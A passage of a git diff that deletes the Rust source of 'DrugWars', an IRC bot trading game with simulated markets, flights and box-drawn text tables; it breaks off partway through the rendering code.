-            ("price_down_end", MessageKind::PriceDownEnd),
-        ] {
-            let msgs = &config.messages[val_str].as_sequence().unwrap();
-            for msg in *msgs {
-                let message_vec = messages.entry(enum_variant).or_insert_with(|| vec![]);
-                message_vec.push(msg.as_str().unwrap().to_owned());
-            }
-        }
-
-        let day_duration = config.settings["day_duration"].as_u64().unwrap() as u32;
-        let current_day_str = config.settings["start_day"].as_str().unwrap();
-
-        Self {
-            settings: Settings {
-                day_duration,
-                current_day: NaiveDate::from_str(current_day_str).unwrap(),
-            },
-            timer: SystemTime::now(),
-            dealers: HashMap::default(),
-            locations,
-            flights: HashMap::default(),
-            drugs,
-            items,
-            messages,
-        }
-    }
-}
-
-impl DrugWars {
-    pub fn load_config(path: &str) -> Self {
-        let config = DrugWarsConfig::from_file(path).unwrap();
-
-        config.into()
-    }
-
-    pub fn init(&mut self) {
-        println!("initializing.");
-        let mut rng = rand::thread_rng();
-
-        self.update_markets(&mut rng);
-    }
-
-    fn update_markets(&mut self, rng: &mut dyn RngCore) {
-        for (_, location) in &mut self.locations {
-            location.drug_market.clear();
-            location.item_market.clear();
-
-            for (drug_name, drug) in &self.drugs {
-                if rng.gen_bool(4. / 5.) {
-                    continue;
-                };
-
-                let float_price = (drug.nominal_price as f32) / 10000.;
-
-                let normal = Normal::new(float_price, float_price / 2.).unwrap();
-
-                location.drug_market.insert(
-                    drug_name.clone(),
-                    MarketDrug {
-                        supply: rng.gen_range(0..1000),
-                        demand: rng.gen_range(0..1000),
-                        price: (normal.sample(rng) * 10000.) as u128,
-                    },
-                );
-            }
-
-            for (item_name, item) in &self.items {
-                if rng.gen_bool(4. / 5.) {
-                    continue;
-                };
-
-                let float_price = (item.nominal_price() as f32) / 10000.;
-
-                let normal = Normal::new(float_price, float_price / 2.).unwrap();
-
-                location.item_market.insert(
-                    item_name.clone(),
-                    MarketItem {
-                        supply: rng.gen_range(0..1000),
-                        demand: rng.gen_range(0..1000),
-                        price: (normal.sample(rng) * 10000.) as u128,
-                    },
-                );
-            }
-        }
-    }
-
-    pub fn new_day(&mut self, irc: &mut Irc) {
-        let Ok(elapsed) = self.timer.elapsed() else { return; };
-
-        if elapsed.as_secs_f32() > self.settings.day_duration as f32 {
-            irc.privmsg_all("new day!");
-
-            self.timer = SystemTime::now();
-            self.settings.current_day += Duration::days(1);
-
-            for (nick, destination) in &mut self.flights.clone() {
-                let dealer = self.get_dealer_mut(nick).unwrap();
-
-                // Should do mem trick at other places...
-                irc.privmsg_all(&format!("{}: You landed at {}", nick, destination));
-                dealer.location = std::mem::take(destination);
-                dealer.status = DealerStatus::Available;
-
-                let location = self.locations.get_mut(destination).unwrap();
-                location.blokes.insert(nick.clone());
-            }
-
-            self.flights.clear();
-
-            let mut rng = rand::thread_rng();
-            self.update_markets(&mut rng);
-        }
-    }
-
-    pub fn get_dealer(&self, nick: &str) -> Option<&Dealer> {
-        self.dealers.get(nick)
-    }
-
-    pub fn get_dealer_mut(&mut self, nick: &str) -> Option<&mut Dealer> {
-        self.dealers.get_mut(nick)
-    }
-
-    pub fn dealer_not_registered(&self, nick: &str) -> Vec<String> {
-        vec![format!("{} is not registered.", nick)]
-    }
-
-    pub fn dealer_not_available(&self, nick: &str) -> Vec<String> {
-        let dealer = self.get_dealer(nick).unwrap();
-
-        match dealer.status {
-            DealerStatus::Flying => vec![format!("{}: Can't do business while flying", nick)],
-            _ => vec![],
-        }
-    }
-
-    pub fn _buy_drug(
-        &mut self,
-        nick: &str,
-        drug_name: &str,
-        amount: usize,
-        price: u128,
-    ) -> Vec<String> {
-        let total_price = price * amount as u128;
-
-        let mut location = String::new();
-
-        let dealer = self.get_dealer_mut(nick).unwrap();
-        dealer.money -= total_price;
-        dealer.add_drug_local(drug_name, amount, price);
-        location += &dealer.location;
-
-        let location = self.locations.get_mut(&location).unwrap();
-        let market_drug = location.drug_market.get_mut(drug_name).unwrap();
-        market_drug.supply -= amount;
-        market_drug.demand += amount;
-
-        vec![format!(
-            "{}: you bought {} {} for {}",
-            nick,
-            amount,
-            drug_name,
-            pretty_print_money(total_price)
-        )]
-    }
-
-    pub fn _sell_drug(
-        &mut self,
-        nick: &str,
-        drug_name: &str,
-        amount: usize,
-        price: u128,
-    ) -> Vec<String> {
-        let total_price = price * amount as u128;
-
-        let mut location = String::new();
-
-        let dealer = self.get_dealer_mut(nick).unwrap();
-        dealer.money += total_price;
-        dealer.sub_drug_local(drug_name, amount);
-        location += &dealer.location;
-
-        let location = self.locations.get_mut(&location).unwrap();
-        let market_drug = location.drug_market.get_mut(drug_name).unwrap();
-        market_drug.supply += amount;
-        market_drug.demand -= amount;
-
-        vec![format!(
-            "{}: you sold {} {} for {}",
-            nick,
-            amount,
-            drug_name,
-            pretty_print_money(total_price)
-        )]
-    }
-
-    pub fn _buy_item(
-        &mut self,
-        nick: &str,
-        item_name: &str,
-        amount: usize,
-        price: u128,
-    ) -> Vec<String> {
-        let total_price = price * amount as u128;
-
-        let mut location = String::new();
-
-        let dealer = self.get_dealer_mut(nick).unwrap();
-        dealer.money -= total_price;
-        dealer.add_item_local(item_name, amount, price);
-        location += &dealer.location;
-
-        let location = self.locations.get_mut(&location).unwrap();
-        let market_item = location.item_market.get_mut(item_name).unwrap();
-        market_item.supply -= amount;
-        market_item.demand += amount;
-
-        vec![format!(
-            "{}: you bought {} {} for {}",
-            nick,
-            amount,
-            item_name,
-            pretty_print_money(total_price)
-        )]
-    }
-
-    pub fn _sell_item(
-        &mut self,
-        nick: &str,
-        item_name: &str,
-        amount: usize,
-        price: u128,
-    ) -> Vec<String> {
-        let total_price = price * amount as u128;
-
-        let mut location = String::new();
-
-        let dealer = self.get_dealer_mut(nick).unwrap();
-        dealer.money += total_price;
-        dealer.sub_item_local(item_name, amount);
-        location += &dealer.location;
-
-        let location = self.locations.get_mut(&location).unwrap();
-        let market_item = location.item_market.get_mut(item_name).unwrap();
-        market_item.supply += amount;
-        market_item.demand -= amount;
-
-        vec![format!(
-            "{}: you sold {} {} for {}",
-            nick,
-            amount,
-            item_name,
-            pretty_print_money(total_price)
-        )]
-    }
-
-    pub fn _give_money(&mut self, nick: &str, bloke_nick: &str, money: u128) -> Vec<String> {
-        let dealer = self.get_dealer_mut(nick).unwrap();
-        dealer.money -= money;
-
-        let bloke = self.get_dealer_mut(bloke_nick).unwrap();
-        bloke.money += money;
-
-        vec![format!(
-            "{}: you gave {} {}",
-            nick,
-            bloke_nick,
-            pretty_print_money(money),
-        )]
-    }
-
-    pub fn _give_drug(
-        &mut self,
-        nick: &str,
-        bloke_nick: &str,
-        drug_name: &str,
-        amount: usize,
-    ) -> Vec<String> {
-        let dealer = self.get_dealer_mut(nick).unwrap();
-        dealer.sub_drug_local(drug_name, amount);
-
-        let bloke = self.get_dealer_mut(bloke_nick).unwrap();
-        bloke.add_drug_local(drug_name, amount, 0);
-
-        vec![format!(
-            "{}: you gave {} {} to {}",
-            nick, amount, drug_name, bloke_nick
-        )]
-    }
-
-    pub fn _give_item(
-        &mut self,
-        nick: &str,
-        bloke_nick: &str,
-        item_name: &str,
-        amount: usize,
-    ) -> Vec<String> {
-        let dealer = self.get_dealer_mut(nick).unwrap();
-        dealer.sub_item_local(item_name, amount);
-
-        let bloke = self.get_dealer_mut(bloke_nick).unwrap();
-        bloke.add_item_local(item_name, amount, 0);
-
-        vec![format!(
-            "{}: you gave {} {} to {}",
-            nick, amount, item_name, bloke_nick
-        )]
-    }
-
-    pub fn _fly_to(&mut self, nick: &str, destination_name: &str) -> Vec<String> {
-        let dealer = self.get_dealer(nick).unwrap();
-        let current_location = self.locations.get(&dealer.location).unwrap();
-        let destination = self.locations.get(destination_name).unwrap();
-
-        let price = get_flight_price(current_location, destination);
-
-        let current_location = self.locations.get_mut(&dealer.location.clone()).unwrap();
-        current_location.blokes.remove(nick);
-
-        let dealer = self.get_dealer_mut(nick).unwrap();
-
-        dealer.money -= price;
-        dealer.status = DealerStatus::Flying;
-
-        self.flights
-            .insert(nick.to_string(), destination_name.to_owned());
-
-        vec![format!(
-            "{}: you take a flight to {} for {}. You'll arrive tomorrow",
-            nick,
-            destination_name,
-            pretty_print_money(price)
-        )]
-    }
-
-    pub fn prices_from(&self, current_location_name: &str) -> Vec<String> {
-        let mut lines = vec![];
-
-        let current_location = self.locations.get(current_location_name).unwrap();
-
-        for (location_name, location) in &self.locations {
-            if location_name.as_str() == current_location_name {
-                continue;
-            }
-
-            let price = get_flight_price(current_location, location);
-
-            lines.push(format!(
-                "From `{}` to `{}` -> {}",
-                current_location_name,
-                location_name,
-                pretty_print_money(price)
-            ));
-        }
-
-        lines
-    }
-
-    pub fn _buy_capacity(&mut self, nick: &str, amount: usize) -> Vec<String> {
-        let dealer = self.get_dealer_mut(nick).unwrap();
-
-        let Some(price) = capacity_price(dealer.capacity, amount) else {
-            return vec![
-                format!("{}: You won't ever need that much capacity. Will you?", nick)
-            ];
-        };
-
-        dealer.money -= price;
-        dealer.capacity += amount;
-
-        return vec![format!(
-            "{}: You bought {} slots for {}",
-            nick,
-            amount,
-            pretty_print_money(price)
-        )];
-    }
-}
diff --git a/irc/bots/drugwars/drugwars/src/main.rs b/irc/bots/drugwars/drugwars/src/main.rs
@@ -1,276 +0,0 @@
-pub mod config;
-pub mod drug_wars;
-pub mod utils;
-pub mod render;
-pub mod definitions;
-pub mod dealer;
-pub mod api;
-
-use std::{
-    sync::{Arc, RwLock},
-    time::Duration,
-};
-
-use drug_wars::DrugWars;
-use irc::{typemap::TypeMapKey, Irc, IrcPrefix};
-
-struct GameManager;
-
-impl TypeMapKey for GameManager {
-    type Value = Arc<RwLock<DrugWars>>;
-}
-
-fn main() {
-    let drug_wars_arc = Arc::new(RwLock::new(DrugWars::load_config("drugwars_config.yaml")));
-
-    {
-        let mut drug_wars = drug_wars_arc.write().unwrap();
-        drug_wars.init();
-    }
-
-    let mut irc = Irc::from_config("irc_config.yaml")
-        .add_resource::<Arc<RwLock<DrugWars>>, GameManager>(drug_wars_arc.clone())
-        .add_default_system(melp)
-        .add_system("register", register)
-        .add_system("todo", todo)
-        .add_system("p", show_page)
-        .add_system("mw", set_max_width)
-        .add_system("gm", give_money)
-        .add_system("gd", give_drug)
-        .add_system("gi", give_item)
-        .add_system("bd", buy_drug)
-        .add_system("sd", sell_drug)
-        .add_system("bi", buy_item)
-        .add_system("bc", buy_capacity)
-        .add_system("cc", check_capacity_price)
-        .add_system("si", sell_item)
-        .add_system("fp", check_flight_prices)
-        .add_system("f", flight)
-        .build();
-
-    irc.connect().unwrap();
-    irc.register();
-
-    loop {
-        {
-            let mut drug_wars = drug_wars_arc.write().unwrap();
-            drug_wars.new_day(&mut irc);
-        }
-        irc.update();
-        std::thread::sleep(Duration::from_millis(50));
-    }
-}
-
-fn register(irc: &mut Irc, prefix: &IrcPrefix, _arguments: Vec<&str>) -> Option<Vec<String>> {
-    let data = irc.data().get::<GameManager>().unwrap();
-    let mut drug_wars = data.write().unwrap();
-    Some(drug_wars.register_dealer(prefix.nick))
-}
-
-fn show_page(irc: &mut Irc, prefix: &IrcPrefix, _arguments: Vec<&str>) -> Option<Vec<String>> {
-    let data = irc.data().get::<GameManager>().unwrap();
-    let drug_wars = data.read().unwrap();
-    Some(drug_wars.show_page_for_nick(prefix.nick))
-}
-
-fn melp(_irc: &mut Irc, _prefix: &IrcPrefix, _arguments: Vec<&str>) -> Option<Vec<String>> {
-    Some(vec!["melp?".to_owned()])
-}
-
-fn set_max_width(irc: &mut Irc, prefix: &IrcPrefix, arguments: Vec<&str>) -> Option<Vec<String>> {
-    let data = irc.data().get::<GameManager>().unwrap();
-
-    let Ok(size) = arguments[0].parse::<usize>() else { 
-        return Some(vec![
-            format!(
-                "{}: Unable to parse {} as usize",
-                prefix.nick, arguments[1]
-            )
-        ]);
-    };
-    
-    if size < 75 || size > 130 {
-        return Some(vec![
-            format!("{}: Size must be between 75 and 130", prefix.nick)
-        ])
-    }
-
-    let mut drug_wars = data.write().unwrap();
-    Some(drug_wars.set_dealer_max_width(prefix.nick, size))
-}
-
-fn todo(_irc: &mut Irc, prefix: &IrcPrefix, _arguments: Vec<&str>) -> Option<Vec<String>> {
-    Some(vec![
-        format!("{}: list of things to add:", prefix.nick),
-        "- encounters".to_owned(),
-        "- usage of items".to_owned(),
-        "- messages / rumors, the fun stuff".to_owned(),
-        "- save / load game".to_owned(),
-        "- shipping".to_owned(),
-        "- attack blokes @ same city".to_owned(),
-        "- some kind of flood protection".to_owned(),
-        "- some kind of spam protection".to_owned(),
-        "- single rng shared everywher".to_owned(),
-        "- refactor all this shit".to_owned(),
-        "- colors ^-^".to_owned(),
-    ])
-}
-
-fn buy_drug(irc: &mut Irc, prefix: &IrcPrefix, arguments: Vec<&str>) -> Option<Vec<String>> {
-    let data = irc.data().get::<GameManager>().unwrap();
-    let Ok(amount) = arguments[1].parse::<usize>() else {
-        return Some(vec![
-            format!(
-                "{}: Unable to parse {} as usize",
-                prefix.nick, arguments[1]
-            )
-        ]);
-    };
-    
-    let mut drug_wars = data.write().unwrap();
-    Some(drug_wars.buy_drug(prefix.nick, arguments[0], amount))
-}
-
-fn sell_drug(irc: &mut Irc, prefix: &IrcPrefix, arguments: Vec<&str>) -> Option<Vec<String>> {
-    let data = irc.data().get::<GameManager>().unwrap();
-
-    let Ok(amount) = arguments[1].parse::<usize>() else {
-        return Some(vec![
-            format!(
-                "{}: Unable to parse {} as usize",
-                prefix.nick, arguments[1]
-            )
-        ]);
-    };
-    
-    let mut drug_wars = data.write().unwrap();
-    Some(drug_wars.sell_drug(prefix.nick, arguments[0], amount))
-}
-
-fn buy_item(irc: &mut Irc, prefix: &IrcPrefix, arguments: Vec<&str>) -> Option<Vec<String>> {
-    let data = irc.data().get::<GameManager>().unwrap();
-
-    let Ok(amount) = arguments[1].parse::<usize>() else {
-        return Some(vec![
-            format!(
-                "{}: Unable to parse {} as usize",
-                prefix.nick, arguments[1]
-            )
-        ]);
-    };
-    
-    let mut drug_wars = data.write().unwrap();
-    Some(drug_wars.buy_item(prefix.nick, arguments[0], amount))
-}
-
-fn sell_item(irc: &mut Irc, prefix: &IrcPrefix, arguments: Vec<&str>) -> Option<Vec<String>> {
-    let data = irc.data().get::<GameManager>().unwrap();
-    let Ok(amount) = arguments[1].parse::<usize>() else {
-        return Some(vec![
-            format!(
-                "{}: Unable to parse {} as usize",
-                prefix.nick, arguments[1]
-            )
-        ]);
-    };
-    
-    let mut drug_wars = data.write().unwrap();
-    Some(drug_wars.sell_item(prefix.nick, arguments[0], amount))
-}
-
-fn check_flight_prices(irc: &mut Irc, prefix: &IrcPrefix, _arguments: Vec<&str>) -> Option<Vec<String>> {
-    let data = irc.data().get::<GameManager>().unwrap();
-    let drug_wars = data.write().unwrap();
-    Some(drug_wars.check_flight_prices(prefix.nick))
-}
-
-fn flight(irc: &mut Irc, prefix: &IrcPrefix, arguments: Vec<&str>) -> Option<Vec<String>> {
-    let data = irc.data().get::<GameManager>().unwrap();
-    let mut drug_wars = data.write().unwrap();
-    Some(drug_wars.fly_to(prefix.nick, arguments[0]))
-}
-
-fn give_money(irc: &mut Irc, prefix: &IrcPrefix, arguments: Vec<&str>) -> Option<Vec<String>> {
-    let data = irc.data().get::<GameManager>().unwrap();
-    let Ok(amount) = arguments[1].parse::<f64>() else {
-        return Some(vec![
-            format!(
-                "{}: Unable to parse `{}` as f64",
-                prefix.nick, arguments[1]
-            )
-        ]);
-    };
-
-    if amount < 0. {
-        return Some(vec![
-            format!(
-                "{}: Can't give negative money",
-                prefix.nick
-            )
-        ]);
-    }
-
-    let mut drug_wars = data.write().unwrap();
-    Some(drug_wars.give_money(prefix.nick, amount, arguments[0]))
-}
-
-fn give_drug(irc: &mut Irc, prefix: &IrcPrefix, arguments: Vec<&str>) -> Option<Vec<String>> {
-    let data = irc.data().get::<GameManager>().unwrap();
-    let Ok(amount) = arguments[2].parse::<usize>() else {
-        return Some(vec![
-            format!(
-                "{}: Unable to parse {} as usize",
-                prefix.nick, arguments[2]
-            )
-        ]);
-    };
-
-    let mut drug_wars = data.write().unwrap();
-    Some(drug_wars.give_drug(prefix.nick, arguments[1], amount, arguments[0]))
-}
-
-fn give_item(irc: &mut Irc, prefix: &IrcPrefix, arguments: Vec<&str>) -> Option<Vec<String>> {
-    let data = irc.data().get::<GameManager>().unwrap();
-    let Ok(amount) = arguments[2].parse::<usize>() else {
-        return Some(vec![
-            format!(
-                "{}: Unable to parse {} as usize",
-                prefix.nick, arguments[2]
-            )
-        ]);
-    };
-
-    let mut drug_wars = data.write().unwrap();
-    Some(drug_wars.give_item(prefix.nick, arguments[1], amount, arguments[0]))
-}
-
-fn buy_capacity(irc: &mut Irc, prefix: &IrcPrefix, arguments: Vec<&str>) -> Option<Vec<String>> {
-    let data = irc.data().get::<GameManager>().unwrap();
-    let Ok(amount) = arguments[0].parse::<usize>() else {
-        return Some(vec![
-            format!(
-                "{}: Unable to parse {} as usize",
-                prefix.nick, arguments[0]
-            )
-        ]);
-    };
-
-    let mut drug_wars = data.write().unwrap();
-    Some(drug_wars.buy_capacity(prefix.nick, amount))
-}
-
-fn check_capacity_price(irc: &mut Irc, prefix: &IrcPrefix, arguments: Vec<&str>) -> Option<Vec<String>> {
-    let data = irc.data().get::<GameManager>().unwrap();
-
-    let Ok(amount) = arguments[0].parse::<usize>() else {
-        return Some(vec![
-            format!(
-                "{}: Unable to parse {} as usize",
-                prefix.nick, arguments[0]
-            )
-        ]);
-    };
-
-    let mut drug_wars = data.write().unwrap();
-    Some(drug_wars.check_capacity_price(prefix.nick, amount))
-}
-\ No newline at end of file
diff --git a/irc/bots/drugwars/drugwars/src/render.rs b/irc/bots/drugwars/drugwars/src/render.rs
@@ -1,714 +0,0 @@
-use chrono::Duration;
-use itertools::Itertools;
-
-use crate::{
-    dealer::Dealer,
-    drug_wars::DrugWars,
-    utils::{pretty_print_money, truncate_string},
-};
-
-impl DrugWars {
-    fn get_date_and_time(&self) -> String {
-        let current_date = self.settings.current_day.format("%Y-%m-%d").to_string();
-
-        let t = self.timer.elapsed().unwrap().as_secs_f32() / self.settings.day_duration as f32;
-
-        let current_seconds = t * 86400.;
-
-        let duration = Duration::seconds(current_seconds as i64);
-
-        let current_time = format!(
-            "{:0>2}:{:0>2}",
-            duration.num_hours(),
-            duration.num_minutes() - (60 * duration.num_hours())
-        );
-
-        format!("{} {}", current_date, current_time)
-    }
-
-    pub fn render_header(&self, nick: &str, dealer: &Dealer) -> Vec<String> {
-        let mut lines = vec![];
-
-        let date_nick_line = format!(
-            "╭ {} ─ {} ─ {} ─ {} ─ {} ",
-            self.get_date_and_time(),
-            nick,
-            pretty_print_money(dealer.money),
-            dealer.location,
-            dealer.print_status()
-        );
-        let top_box_line = "─".repeat(dealer.max_width - date_nick_line.chars().count() - 1);
-
-        lines.push(format!("{}{}╮", date_nick_line, top_box_line));
-
-        let location = self.locations.get(&dealer.location).unwrap();
-
-        for msg in &location.messages {
-            let start = format!("│ {}", msg);
-            let spaces = " ".repeat(dealer.max_width - start.chars().count() - 1);
-
-            lines.push(format!("{}{}│", start, spaces));
-        }
-
-        lines.push(format!("╰{}╯", "─".repeat(dealer.max_width - 2)));
-
-        lines
-    }
-
-    pub fn render_drugs(&self, dealer: &Dealer) -> Vec<String> {
-        let mut lines = vec![];
-
-        let market_column_width = ((dealer.max_width - 4) as f32 / 4.).floor() as usize;
-        let owned_column_width = ((dealer.max_width - 4) as f32 / 3.).floor() as usize;
-
-        lines.push(format!(
-            "╭ Drugs market {}╮",
-            "─".repeat(dealer.max_width - 16)
-        ));
-
-        let mut market_header = String::new();
-        for col_name in ["Drug", "Supply", "Demand", "Price"] {
-            let spaces = " ".repeat(market_column_width - col_name.chars().count());
-            market_header += &format!("{}{}", col_name, spaces);
-        }
-
-        market_header += &" ".repeat(dealer.max_width - market_header.chars().count() - 4);
-
-        lines.push(format!("│ {} │", market_header));
-
-        let location = self.locations.get(&dealer.location).unwrap();
-
-        for (drug_name, drug) in &location.drug_market {
-            let mut market_column = String::new();
-
-            let value = truncate_string(&drug_name, market_column_width);
-            let spaces = " ".repeat(market_column_width - value.chars().count());
-            market_column += &format!("{}{}", value, spaces);
-
-            let value = truncate_string(&format!("{}", drug.supply), market_column_width);
-            let spaces = " ".repeat(market_column_width - value.chars().count());
-            market_column += &format!("{}{}", value, spaces);
-
-            let value = truncate_string(&format!("{}", drug.demand), market_column_width);
-            let spaces = " ".repeat(market_column_width - value.chars().count());
-            market_column += &format!("{}{}", value, spaces);
-
-            let value = truncate_string(
-                &format!("{}", pretty_print_money(drug.price)),
-                market_column_width,
-            );
-            let spaces = " ".repeat(market_column_width - value.chars().count());
-            market_column += &format!("{}{}", value, spaces);
-
-            market_column += &" ".repeat(dealer.max_width - market_column.chars().count() - 4);
-
-            lines.push(format!("│ {} │", market_column));
-        }
-
-        lines.push(format!("╰{}╯", "─".repeat(dealer.max_width - 2)));
-
-        let mut header_line = format!(
-            "╭ Owned drugs ({}/{})",
-            dealer.get_total_drugs_local(),
-            dealer.capacity
-        );
-
-        header_line += &format!(
-            "{}╮",
-            "─".repeat(dealer.max_width - header_line.chars().count() - 1)
-        );
-        lines.push(header_line);
-
-        let mut owned_header = String::new();
-        for col_name in ["Drug", "Amount", "Bought at"] {
-            let spaces = " ".repeat(owned_column_width - col_name.chars().count());
-            owned_header += &format!("{}{}", col_name, spaces);
-        }
-
-        owned_header += &" ".repeat(dealer.max_width - owned_header.chars().count() - 4);
-
-        lines.push(format!("│ {} │", owned_header));
-
-        let owned_local = dealer.get_local_drugs();
-
-        for (drug_name, drug) in owned_local {
-            let mut owned_column = String::new();
-
-            let value = truncate_string(&drug_name, owned_column_width);
-            let spaces = " ".repeat(owned_column_width - value.chars().count());
-            owned_column += &format!("{}{}", value, spaces);
-
-            let value = truncate_string(&format!("{}", drug.amount), owned_column_width);
-            let spaces = " ".repeat(owned_column_width - value.chars().count());
-            owned_column += &format!("{}{}", value, spaces);
-
-            let value = truncate_string(
-                &format!("{}", pretty_print_money(drug.bought_at)),
-                owned_column_width,
-            );
-            let spaces = " ".repeat(owned_column_width - value.chars().count());
-            owned_column += &format!("{}{}", value, spaces);
-
-            owned_column += &" ".repeat(dealer.max_width - owned_column.chars().count() - 4);
-
-            lines.push(format!("│ {} │", owned_column));
-        }
-
-        lines.push(format!("╰{}╯", "─".repeat(dealer.max_width - 2)));
-
-        lines
-    }
-
-    pub fn render_items(&self, dealer: &Dealer) -> Vec<String> {
-        let mut lines = vec![];
-
-        let market_column_width = ((dealer.max_width - 4) as f32 / 4.).floor() as usize;
-        let owned_column_width = ((dealer.max_width - 4) as f32 / 3.).floor() as usize;
-
-        lines.push(format!(
-            "╭ Items market {}╮",
-            "─".repeat(dealer.max_width - 16)
-        ));
-
-        let mut market_header = String::new();
-        for col_name in ["Item", "Supply", "Demand", "Price"] {
-            let spaces = " ".repeat(market_column_width - col_name.chars().count());
-            market_header += &format!("{}{}", col_name, spaces);
-        }
-
-        market_header += &" ".repeat(dealer.max_width - market_header.chars().count() - 4);
-
-        lines.push(format!("│ {} │", market_header));
-
-        let location = self.locations.get(&dealer.location).unwrap();
-
-        for (item_name, item) in &location.item_market {
-            let mut market_column = String::new();
-
-            let value = truncate_string(&item_name, market_column_width);
-            let spaces = " ".repeat(market_column_width - value.chars().count());
-            market_column += &format!("{}{}", value, spaces);
-
-            let value = truncate_string(&format!("{}", item.supply), market_column_width);
-            let spaces = " ".repeat(market_column_width - value.chars().count());
-            market_column += &format!("{}{}", value, spaces);
-
-            let value = truncate_string(&format!("{}", item.demand), market_column_width);
-            let spaces = " ".repeat(market_column_width - value.chars().count());
-            market_column += &format!("{}{}", value, spaces);
-
-            let value = truncate_string(
-                &format!("{}", pretty_print_money(item.price)),
-                market_column_width,
-            );
-            let spaces = " ".repeat(market_column_width - value.chars().count());
-            market_column += &format!("{}{}", value, spaces);
-
-            market_column += &" ".repeat(dealer.max_width - market_column.chars().count() - 4);
-
-            lines.push(format!("│ {} │", market_column));
-        }
-
-        lines.push(format!("╰{}╯", "─".repeat(dealer.max_width - 2)));
-
-        let mut header_line = format!(
-            "╭ Owned items ({}/{})",
-            dealer.get_total_drugs_local(),
-            dealer.capacity
-        );
-
-        header_line += &format!(
-            "{}╮",
-            "─".repeat(dealer.max_width - header_line.chars().count() - 1)
-        );
-        lines.push(header_line);
-
-        let mut owned_header = String::new();
-        for col_name in ["Item", "Amount", "Bought at"] {
-            let spaces = " ".repeat(owned_column_width - col_name.chars().count());
-            owned_header += &format!("{}{}", col_name, spaces);
-        }
-
-        owned_header += &" ".repeat(dealer.max_width - owned_header.chars().count() - 4);
-
-        lines.push(format!("│ {} │", owned_header));
-
-        let owned_local = dealer.get_local_drugs();
-
-        for (item_name, item) in owned_local {
-            let mut owned_column = String::new();
-
-            let value = truncate_string(&item_name, owned_column_width);
-            let spaces = " ".repeat(owned_column_width - value.chars().count());
-            owned_column += &format!("{}{}", value, spaces);
-
-            let value = truncate_string(&format!("{}", item.amount), owned_column_width);
-            let spaces = " ".repeat(owned_column_width - value.chars().count());
-            owned_column += &format!("{}{}", value, spaces);
-
-            let value = truncate_string(
-                &format!("{}", pretty_print_money(item.bought_at)),
-                owned_column_width,
-            );
-            let spaces = " ".repeat(owned_column_width - value.chars().count());
-            owned_column += &format!("{}{}", value, spaces);
-
-            owned_column += &" ".repeat(dealer.max_width - owned_column.chars().count() - 4);
-
-            lines.push(format!("│ {} │", owned_column));
-        }
-
-        lines.push(format!("╰{}╯", "─".repeat(dealer.max_width - 2)));
-        lines
-    }
-
-    pub fn render_drugs_dual_columns(&self, dealer: &Dealer) -> Vec<String> {
-        let mut lines = vec![];
-
-        let market_width = dealer.max_width / 2;
-        let owned_width = dealer.max_width / 2;
-
-        let market_column_width = ((market_width - 2) as f32 / 4.).floor() as usize;
-        let owned_column_width = ((owned_width - 2) as f32 / 3.).floor() as usize;
-
-        let mut header_line = format!(
-            "╭ Drugs market {}┬ Owned drugs ({}/{}) ",
-            "─".repeat(market_width - 16),
-            dealer.get_total_drugs_local(),
-            dealer.capacity,
-        );
-
-        header_line += &format!(
-            "{}╮",
-            "─".repeat(dealer.max_width - header_line.chars().count() - 1)
-        );
-
-        lines.push(header_line);
-
-        // Market column headers
-        let mut market_header = String::new();
-        for col_name in ["Drug", "Supply", "Demand", "Price"] {
-            let spaces = " ".repeat(market_column_width - col_name.chars().count());
-            market_header += &format!("{}{}", col_name, spaces);
-        }
-
-        println!(
-            "mw: {}, mh: {}",
-            market_width,
-            market_header.chars().count()
-        );
-        let offset = (market_width - market_header.chars().count()).min(3);
-
-        market_header += &" ".repeat(market_width - market_header.chars().count() - offset);
-
-        // Owned column headers
-        let mut owned_header = String::new();
-        for col_name in ["Drug", "Amount", "Bought at"] {
-            let spaces = " ".repeat(owned_column_width - col_name.chars().count());
-            owned_header += &format!("{}{}", col_name, spaces);
-        }
-
-        let offset = (owned_width - owned_header.chars().count()).min(2);
-        owned_header += &" ".repeat(owned_width - owned_header.chars().count() - offset);
-
-        lines.push(format!("│ {}│ {}│", market_header, owned_header));
-
-        let location = self.locations.get(&dealer.location).unwrap();
-
-        let owned_local = dealer.get_local_drugs();
-
-        for pair in location.drug_market.iter().zip_longest(owned_local.iter()) {
-            match pair {
-                itertools::EitherOrBoth::Both(market, owned) => {
-                    // Market column
-                    let mut market_column = String::new();
-
-                    let value = truncate_string(market.0, market_column_width);
-                    let spaces = " ".repeat(market_column_width - value.chars().count());
-                    market_column += &format!("{}{}", value, spaces);
-
-                    let value =
-                        truncate_string(&format!("{}", market.1.supply), market_column_width);
-                    let spaces = " ".repeat(market_column_width - value.chars().count());
-                    market_column += &format!("{}{}", value, spaces);
-
-                    let value =
-                        truncate_string(&format!("{}", market.1.demand), market_column_width);
-                    let spaces = " ".repeat(market_column_width - value.chars().count());
-                    market_column += &format!("{}{}", value, spaces);
-
-                    let value = truncate_string(
-                        &format!("{}", pretty_print_money(market.1.price)),
-                        market_column_width,
-                    );
-                    let spaces = " ".repeat(market_column_width - value.chars().count());
-                    market_column += &format!("{}{}", value, spaces);
-
-                    let offset = (market_width - market_column.chars().count()).min(3);
-                    market_column +=
-                        &" ".repeat(market_width - market_column.chars().count() - offset);
-
-                    // Owned column
-                    let mut owned_column = String::new();
-
-                    let value = truncate_string(owned.0, owned_column_width);
-                    let spaces = " ".repeat(owned_column_width - value.chars().count());
-                    owned_column += &format!("{}{}", value, spaces);
-
-                    let value = truncate_string(&format!("{}", owned.1.amount), owned_column_width);
-                    let spaces = " ".repeat(owned_column_width - value.chars().count());
-                    owned_column += &format!("{}{}", value, spaces);
-
-                    let value = truncate_string(
-                        &format!("{}", pretty_print_money(owned.1.bought_at)),
-                        owned_column_width,
-                    );
-                    let spaces = " ".repeat(owned_column_width - value.chars().count());
-                    owned_column += &format!("{}{}", value, spaces);
-
-                    let offset = (owned_width - owned_column.chars().count()).min(2);
-                    owned_column +=
-                        &" ".repeat(owned_width - owned_column.chars().count() - offset);
-
-                    lines.push(format!("│ {}│ {}│", market_column, owned_column));
-                }
-                itertools::EitherOrBoth::Left(market) => {
-                    // Market column
-                    let mut market_column = String::new();
-
-                    let value = truncate_string(market.0, market_column_width);
-                    let spaces = " ".repeat(market_column_width - value.chars().count());
-                    market_column += &format!("{}{}", value, spaces);
-
-                    let value =
-                        truncate_string(&format!("{}", market.1.supply), market_column_width);
-                    let spaces = " ".repeat(market_column_width - value.chars().count());
-                    market_column += &format!("{}{}", value, spaces);
-
-                    let value =
-                        truncate_string(&format!("{}", market.1.demand), market_column_width);
-                    let spaces = " ".repeat(market_column_width - value.chars().count());
-                    market_column += &format!("{}{}", value, spaces);
-
-                    let value = truncate_string(
